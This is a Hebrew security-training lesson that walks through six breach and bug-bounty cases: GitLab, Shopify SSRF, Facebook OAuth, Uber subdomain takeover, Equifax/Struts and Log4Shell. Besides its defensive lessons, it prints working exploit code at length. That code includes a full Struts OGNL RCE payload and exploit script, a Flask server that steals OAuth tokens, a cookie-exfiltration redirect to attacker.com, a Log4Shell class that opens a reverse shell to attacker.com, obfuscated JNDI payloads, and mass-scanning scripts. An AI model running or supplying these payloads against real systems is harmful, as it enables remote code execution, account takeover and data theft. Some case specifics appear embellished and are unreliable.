ניתוח אירועים אמיתיים - Real-World Case Studies¶
מבוא¶
למידה מאירועים אמיתיים היא אחת הדרכים האפקטיביות ביותר לשיפור יכולות מחקר אבטחה. בשיעור זה ננתח שישה מקרים מפורסמים - מדוחות Bug Bounty ועד פריצות מסיביות.
מקרה 1 - השתלטות על חשבונות GitLab¶
רקע¶
חוקר אבטחה מצא שרשרת חולשות ב-GitLab שאפשרה השתלטות על כל חשבון בפלטפורמה.
הפירוט הטכני¶
חולשה א - Password Reset Token Leak¶
כשמשתמש ביקש איפוס סיסמה, ה-token נשלח לא רק במייל אלא גם הוחזר בכותרות התגובה:
POST /users/password HTTP/1.1
Host: gitlab.com
Content-Type: application/json
{
"user": {"email": "victim@example.com"}
}
HTTP/1.1 200 OK
X-Request-Id: abc123
Set-Cookie: _gitlab_session=xyz...
...reset_password_token=LEAKED_TOKEN...
חולשה ב - CORS Misconfiguration¶
ב-GitLab היתה הגדרת CORS שאפשרה קריאה של כותרות תגובה ממקור חיצוני:
GET /api/v4/user HTTP/1.1
Host: gitlab.com
Origin: https://evil.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Request-Id, ...
שרשרת הניצול¶
1. תוקף מפעיל בקשת password reset עבור הקורבן דרך CORS
2. ה-token חוזר בכותרות התגובה
3. CORS misconfiguration מאפשר לקרוא את הכותרות
4. התוקף משתמש ב-token לאיפוס הסיסמה
5. התוקף מתחבר לחשבון הקורבן
// PoC - דף התוקף
async function exploitGitlab(victimEmail) {
// שלב 1: בקשת איפוס סיסמה
const resetResponse = await fetch('https://gitlab.com/users/password', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({user: {email: victimEmail}})
});
// שלב 2: חילוץ הטוקן מהכותרות
const headers = Object.fromEntries(resetResponse.headers.entries());
const resetToken = extractToken(headers);
// שלב 3: שינוי הסיסמה עם הטוקן
await fetch('https://gitlab.com/users/password', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
user: {
reset_password_token: resetToken,
password: 'attacker_password',
password_confirmation: 'attacker_password'
}
})
});
console.log('[+] Account takeover complete');
}
לקחים¶
- אף פעם לא לחשוף tokens בכותרות HTTP
- הגדרות CORS צריכות להיות מוגבלות למקורות ספציפיים
- ה-token לאיפוס סיסמה צריך להישלח רק במייל
- שרשרת של שתי חולשות "בינוניות" הפכה ל-Critical
תיקון¶
GitLab הסירה את ה-token מכותרות התגובה והחמירה את מדיניות ה-CORS.
מקרה 2 - RCE ב-Shopify דרך SSRF¶
רקע¶
חוקר אבטחה גילה SSRF ב-Shopify שאפשרה גישה ל-metadata של Google Cloud ובסופו של דבר RCE.
הפירוט הטכני¶
חולשה א - SSRF בפיצ'ר ייבוא מוצרים¶
Shopify אפשרה לסוחרים לייבא מוצרים מ-URL חיצוני. הפיצ'ר לא סינן כראוי כתובות פנימיות:
POST /admin/api/products/import HTTP/1.1
Host: mystore.myshopify.com
Content-Type: application/json
{
"source_url": "http://metadata.google.internal/computeMetadata/v1/"
}
חולשה ב - גישה ל-GCP Metadata¶
בשונה מ-AWS, שירות ה-metadata של Google Cloud דרש כותרת מיוחדת. אבל הגרסה הישנה של ה-API (v1beta1) לא דרשה את הכותרת:
# גרסה חדשה - דורשת כותרת
GET /computeMetadata/v1/instance/service-accounts/default/token
Host: metadata.google.internal
Metadata-Flavor: Google
# גרסה ישנה - ללא כותרת
GET /computeMetadata/v1beta1/instance/service-accounts/default/token
Host: metadata.google.internal
חולשה ג - הרשאות רחבות ל-Service Account¶
ה-Service Account שרץ על המופע היה בעל הרשאות רחבות מדי:
שרשרת הניצול¶
import requests
# שלב 1: SSRF לגישה ל-metadata
ssrf_url = "http://metadata.google.internal/computeMetadata/v1beta1/"
endpoints = [
"instance/service-accounts/default/token",
"instance/service-accounts/default/scopes",
"project/project-id",
"instance/zone"
]
for endpoint in endpoints:
response = requests.post(
'https://mystore.myshopify.com/admin/api/products/import',
json={'source_url': f'{ssrf_url}{endpoint}'},
headers={'Authorization': 'Bearer SHOP_TOKEN'}
)
print(f"[*] {endpoint}: {response.text}")
# שלב 2: שימוש בטוקן שנגנב
gcp_token = "ya29.XXXXXXXXXXXXXXX"
# שלב 3: בדיקת הרשאות
scopes = requests.get(
f'{ssrf_url}instance/service-accounts/default/scopes'
)
# תוצאה: ['https://www.googleapis.com/auth/cloud-platform']
# הרשאה מלאה!
# שלב 4: גישה ל-Kubernetes cluster
k8s_response = requests.get(
'https://container.googleapis.com/v1/projects/shopify-prod/zones/us-east1-b/clusters',
headers={'Authorization': f'Bearer {gcp_token}'}
)
print(f"[+] Clusters: {k8s_response.json()}")
לקחים¶
- SSRF בסביבות ענן הוא קריטי ביותר - גישה ל-metadata שווה credentials
- שימוש ב-IMDSv2 (AWS) או דרישת כותרות (GCP) הכרחי
- Service Accounts צריכים הרשאות מינימליות (Least Privilege)
- פיצ'רים שמקבלים URL מהמשתמש חייבים סינון קפדני
תיקון¶
Shopify הוסיפה סינון של כתובות פנימיות, חסמה גישה ל-metadata endpoint, וצמצמה את הרשאות ה-Service Account.
מקרה 3 - חולשת OAuth בפייסבוק¶
רקע¶
חוקר אבטחה מצא פגם ביישום ה-OAuth של פייסבוק שאפשר גניבת access tokens של כל משתמש.
הפירוט הטכני¶
הפגם ביישום¶
פייסבוק אפשרה לאפליקציות צד שלישי להשתמש ב-OAuth לקבלת גישה. הבעיה היתה בוולידציה של redirect_uri:
URI רשום: https://app.example.com/callback
URI שהתקבל: https://app.example.com/callback/../redirect?url=https://evil.com
הפלטפורמה ביצעה path normalization אחרי הבדיקה, מה שאפשר עקיפה.
זרימת התקיפה¶
# שלב 1: הכנת הקישור
https://www.facebook.com/dialog/oauth?
client_id=APP_ID&
redirect_uri=https://app.example.com/callback/../redirect?url=https://evil.com&
response_type=token&
scope=email,public_profile
# שלב 2: פייסבוק מוודאת - ה-redirect_uri מתחיל עם ה-URI הרשום
# הבדיקה עוברת כי הנתיב מתחיל עם /callback
# שלב 3: אחרי path normalization, ההפניה מגיעה ל:
https://app.example.com/redirect?url=https://evil.com#access_token=USER_TOKEN
# שלב 4: ה-redirect של האפליקציה מפנה ל:
https://evil.com#access_token=USER_TOKEN
שרת הגניבה¶
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route('/steal')
def steal_token():
# הטוקן מגיע ב-fragment (#)
# צריך JavaScript לחלץ אותו
return '''
<script>
if (window.location.hash) {
var token = window.location.hash.substring(1);
var params = new URLSearchParams(token);
var accessToken = params.get('access_token');
// שליחה לשרת
fetch('/collect?token=' + accessToken);
// שימוש מיידי בטוקן
fetch('https://graph.facebook.com/me?access_token=' + accessToken)
.then(r => r.json())
.then(data => {
fetch('/collect', {
method: 'POST',
body: JSON.stringify({token: accessToken, user: data})
});
});
}
</script>
'''
@app.route('/collect', methods=['GET', 'POST'])
def collect():
if request.method == 'GET':
token = request.args.get('token')
else:
data = request.get_json()
token = data.get('token')
print(f"[+] Token: {token}")
# פעולות עם הטוקן
me = requests.get(f'https://graph.facebook.com/me?'
f'fields=id,name,email&access_token={token}')
print(f"[+] User: {me.json()}")
return "OK"
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
לקחים¶
- וולידציה של redirect_uri חייבת להיות מדויקת - exact match
- אסור לבצע path normalization אחרי הבדיקה
- יש לבדוק גם path traversal (../) ב-URI
- תהליך Responsible Disclosure עם פייסבוק היה מקצועי - תגובה מהירה ותיקון
תיקון¶
פייסבוק שינתה את הוולידציה ל-exact match של ה-redirect_uri המלא, כולל path normalization לפני הבדיקה.
מקרה 4 - השתלטות על Subdomain של Uber¶
רקע¶
חוקר אבטחה גילה שרשומות DNS של Uber הצביעו על שירותים שכבר לא היו בשימוש, מה שאפשר השתלטות על תת-דומיינים.
הפירוט הטכני¶
זיהוי רשומות DNS תלויות¶
# סריקת תת-דומיינים
subfinder -d uber.com | while read subdomain; do
# בדיקת CNAME
cname=$(dig +short CNAME "$subdomain")
if [ -n "$cname" ]; then
# בדיקה אם היעד קיים
http_code=$(curl -s -o /dev/null -w "%{http_code}" "http://$subdomain" 2>/dev/null)
if [ "$http_code" = "000" ] || echo "$http_code" | grep -q "404"; then
echo "[!] פוטנציאלי: $subdomain -> $cname (HTTP: $http_code)"
fi
fi
done
מה שנמצא¶
ההפצה ב-CloudFront כבר לא היתה בשימוש, אבל רשומת ה-DNS עדיין הצביעה עליה.
ניצול¶
1. תוקף יוצר הפצת CloudFront חדשה
2. מגדיר את saostatic.uber.com כ-Alternate Domain Name
3. CloudFront מקבל - הדומיין לא תפוס
4. תוקף מעלה תוכן לשרת שלו דרך ההפצה
5. כל מי שגולש ל-saostatic.uber.com רואה את תוכן התוקף
אימפקט¶
# דוגמה לניצול - גניבת cookies
# האתר saostatic.uber.com יכול לגשת ל-cookies של uber.com
# אם ה-cookies מוגדרים על .uber.com
# תוכן שהתוקף מעלה:
malicious_page = """
<html>
<script>
// גניבת cookies של uber.com
document.location = 'https://attacker.com/steal?' + document.cookie;
</script>
</html>
"""
# בנוסף, האתר יכול לשמש ל:
# - פישינג (נראה לגיטימי - uber.com)
# - הגשת malware
# - man-in-the-middle על תקשורת עם uber.com
כלי לבדיקת Subdomain Takeover¶
import dns.resolver
import requests
from concurrent.futures import ThreadPoolExecutor
# שירותים שניתנים להשתלטות
FINGERPRINTS = {
'cloudfront.net': 'The request could not be satisfied',
'herokuapp.com': 'No such app',
'github.io': "There isn't a GitHub Pages site here",
'shopify.com': 'Sorry, this shop is currently unavailable',
's3.amazonaws.com': 'NoSuchBucket',
'azurewebsites.net': 'Error 404 - Web app not found',
'cloudapp.net': 'NXDOMAIN',
'zendesk.com': 'Help Center Closed',
'fastly.net': 'Fastly error: unknown domain',
}
def check_takeover(subdomain):
try:
# בדיקת CNAME
answers = dns.resolver.resolve(subdomain, 'CNAME')
for rdata in answers:
cname = str(rdata.target).rstrip('.')
for service, fingerprint in FINGERPRINTS.items():
if service in cname:
try:
response = requests.get(
f'http://{subdomain}', timeout=5
)
if fingerprint in response.text:
return {
'subdomain': subdomain,
'cname': cname,
'service': service,
'vulnerable': True
}
except Exception:
pass
except Exception:
pass
return None
# סריקה
subdomains = open('uber_subdomains.txt').read().splitlines()
with ThreadPoolExecutor(max_workers=20) as executor:
results = list(executor.map(check_takeover, subdomains))
vulnerable = [r for r in results if r and r['vulnerable']]
for v in vulnerable:
print(f"[!] {v['subdomain']} -> {v['cname']} ({v['service']})")
לקחים¶
- ניהול DNS חייב לכלול ניקוי רשומות שאינן בשימוש
- בדיקות תקופתיות של subdomain takeover הן הכרחיות
- השימוש בשירותי ענן דורש תשומת לב לרשומות DNS
- השפעה על משתמשים: פישינג, גניבת cookies, והשפלת מותג
תיקון¶
Uber הסירה את רשומות ה-DNS התלויות ויישמה תהליך אוטומטי לזיהוי רשומות כאלה.
מקרה 5 - Apache Struts RCE ופריצת Equifax¶
רקע¶
ב-2017, חולשת RCE ב-Apache Struts (CVE-2017-5638) נוצלה לפריצת Equifax - אחת הפריצות הגדולות בהיסטוריה. מידע אישי של 147 מיליון אנשים נחשף.
הפירוט הטכני¶
חולשת OGNL Injection¶
Apache Struts השתמש בשפת OGNL (Object-Graph Navigation Language) לעיבוד ביטויים. כשה-Content-Type לא היה תקין, הודעת השגיאה עברה עיבוד כביטוי OGNL:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: target.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
ה-Payload בצורה מובנת¶
// פירוק ה-payload:
// 1. הגדרת גישה
#dm = @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
#_memberAccess = #dm
// 2. ניקוי רשימות חסימה
#ognlUtil.getExcludedPackageNames().clear()
#ognlUtil.getExcludedClasses().clear()
// 3. הגדרת הפקודה
#cmd = 'id'
// 4. זיהוי מערכת הפעלה
#iswin = @java.lang.System@getProperty('os.name').toLowerCase().contains('win')
// 5. בניית הפקודה
#cmds = #iswin ? {'cmd', '/c', #cmd} : {'/bin/bash', '-c', #cmd}
// 6. הרצה
#process = new java.lang.ProcessBuilder(#cmds).start()
// 7. החזרת הפלט
IOUtils.copy(#process.getInputStream(), response.getOutputStream())
סקריפט ניצול¶
import requests
def exploit_struts(target_url, command):
payload = (
"%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
"(#ognlUtil.getExcludedPackageNames().clear())."
"(#ognlUtil.getExcludedClasses().clear())."
"(#context.setMemberAccess(#dm))))."
f"(#cmd='{command}')."
"(#iswin=(@java.lang.System@getProperty('os.name')"
".toLowerCase().contains('win')))."
"(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
"(#p=new java.lang.ProcessBuilder(#cmds))."
"(#p.redirectErrorStream(true))."
"(#process=#p.start())."
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse()"
".getOutputStream()))."
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
"(#ros.flush())}"
)
headers = {'Content-Type': payload}
response = requests.get(target_url, headers=headers)
return response.text
# שימוש
result = exploit_struts('https://target.com/struts2-showcase/', 'id')
print(result)
ציר הזמן של פריצת Equifax¶
מרץ 2017: Apache מפרסמת תיקון ל-CVE-2017-5638
מרץ-מאי 2017: Equifax לא מעדכנת את השרתים
מאי 2017: התוקפים מנצלים את החולשה
מאי-יולי 2017: התוקפים שואבים מידע על 147 מיליון אנשים
יולי 2017: Equifax מגלה את הפריצה
ספטמבר 2017: הפריצה מתפרסמת לציבור
לקחים¶
- עדכוני אבטחה חייבים להיות מיושמים מיד
- ניטור של CVE חדשים הוא קריטי
- Defense in depth - שכבות הגנה מרובות
- אפילו חולשה אחת לא מטופלת יכולה להוביל לאסון
מקרה 6 - Log4Shell - CVE-2021-44228¶
רקע¶
חולשת Log4Shell (CVE-2021-44228) ב-Apache Log4j היתה אחת החולשות ההרסניות ביותר שהתגלו אי פעם. ספריית הלוגינג הנפוצה של Java אפשרה RCE דרך הזרקת JNDI.
הפירוט הטכני¶
מנגנון ה-JNDI Injection¶
ספריית Log4j תמכה ב-lookup של משתנים בזמן כתיבת לוג. ביניהם - JNDI lookups:
// קוד פגיע - כל מקום שמבצע logging של קלט משתמש
logger.info("User logged in: " + username);
logger.error("Failed login for: " + request.getHeader("User-Agent"));
אם הקלט מכיל ביטוי JNDI:
Log4j מנסה לבצע lookup ל-LDAP server של התוקף.
וקטורי הזרקה¶
# דרך User-Agent
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/a}
# דרך שדה חיפוש
GET /search?q=${jndi:ldap://attacker.com/a} HTTP/1.1
# דרך שם משתמש
POST /login HTTP/1.1
Content-Type: application/json
{"username": "${jndi:ldap://attacker.com/a}", "password": "test"}
# דרך כותרות מותאמות
GET / HTTP/1.1
X-Forwarded-For: ${jndi:ldap://attacker.com/a}
Referer: ${jndi:ldap://attacker.com/a}
X-Api-Version: ${jndi:ldap://attacker.com/a}
שרשרת הניצול המלאה¶
1. תוקף שולח payload עם ${jndi:ldap://attacker.com/exploit}
2. Log4j מפענח את הביטוי ומבצע חיבור LDAP לשרת התוקף
3. שרת ה-LDAP מחזיר Reference לכיתת Java
4. היישום מוריד ומריץ את כיתת ה-Java הזדונית
5. RCE - הרצת קוד שרירותי על השרת
שרת LDAP זדוני¶
# שימוש ב-marshalsec
# java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com:8888/#Exploit"
# הכיתה הזדונית
# Exploit.java:
"""
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c",
"bash -i >& /dev/tcp/attacker.com/4444 0>&1"};
Process proc = rt.exec(commands);
} catch (Exception e) {
e.printStackTrace();
}
}
}
"""
סקריפט סריקה¶
import requests
from concurrent.futures import ThreadPoolExecutor
CALLBACK = "attacker.burpcollaborator.net"
PAYLOADS = [
"${jndi:ldap://CALLBACK/a}",
"${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://CALLBACK/a}",
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://CALLBACK/a}",
"${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//CALLBACK/a}",
"${jndi:ldap://CALLBACK/a}",
"${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}mi://CALLBACK/a}",
]
INJECTION_POINTS = [
'User-Agent',
'X-Forwarded-For',
'Referer',
'X-Api-Version',
'Accept-Language',
'Authorization',
]
def scan_target(url):
results = []
for payload_template in PAYLOADS:
payload = payload_template.replace('CALLBACK', CALLBACK)
# הזרקה דרך כותרות
for header in INJECTION_POINTS:
try:
response = requests.get(url, headers={header: payload}, timeout=5)
results.append({
'url': url,
'header': header,
'payload': payload,
'status': response.status_code
})
except Exception:
pass
# הזרקה דרך פרמטרים
try:
requests.get(f"{url}?q={payload}", timeout=5)
except Exception:
pass
return results
# סריקה של רשימת יעדים
targets = open('targets.txt').read().splitlines()
with ThreadPoolExecutor(max_workers=10) as executor:
all_results = list(executor.map(scan_target, targets))
print("[*] בדקו את Burp Collaborator / DNS log לתוצאות")
האימפקט הגלובלי¶
שירותים שנפגעו:
- Apache Solr
- Apache Druid
- Apache Flink
- ElasticSearch
- VMware vCenter
- Minecraft servers
- iCloud
- Steam
- Twitter
- Amazon
- Cloudflare
- ועוד מאות אלפי שירותים
לקחים¶
- תלות בספריות צד שלישי היא סיכון ענק
- ניטור של CVE חדשים הוא קריטי - Log4Shell נוצל תוך שעות מהפרסום
- Defense in depth: גם אם יש חולשה, הגבלת תקשורת יוצאת יכולה למנוע ניצול
- עדכון ספריות צריך להיות תהליך מתמשך ואוטומטי
- הנזק הגלובלי של חולשה בספרייה נפוצה הוא עצום
תיקון¶
Apache שחררה Log4j 2.17.0 שמשביתה JNDI lookups כברירת מחדל. בגרסאות ישנות יותר, ניתן היה להגדיר log4j2.formatMsgNoLookups=true כעדכון זמני.
סיכום - מה אפשר ללמוד מכל המקרים¶
מקרה חולשה מרכזית לקח עיקרי
============================================================
GitLab Token Leak + CORS אל תחשפו מידע רגיש בכותרות
Shopify SSRF + Cloud Meta סננו URLs פנימיים, צמצמו הרשאות
Facebook OAuth Redirect וולידציה מדויקת של redirect_uri
Uber Dangling DNS נקו רשומות DNS שלא בשימוש
Equifax/Struts OGNL Injection עדכנו אבטחה מיידית
Log4Shell JNDI Injection נהלו תלויות, הגבילו תקשורת יוצאת
עקרונות משותפים¶
- חולשות קטנות הופכות לגדולות כשמשרשרים אותן
- תשתית ענן מגדילה את שטח התקיפה
- עדכוני אבטחה הם קריטיים ודחופים
- הגנה בשכבות מפחיתה את האימפקט של חולשה בודדת
- חוקרים טובים מסתכלים על התמונה הגדולה - לא רק על חולשה אחת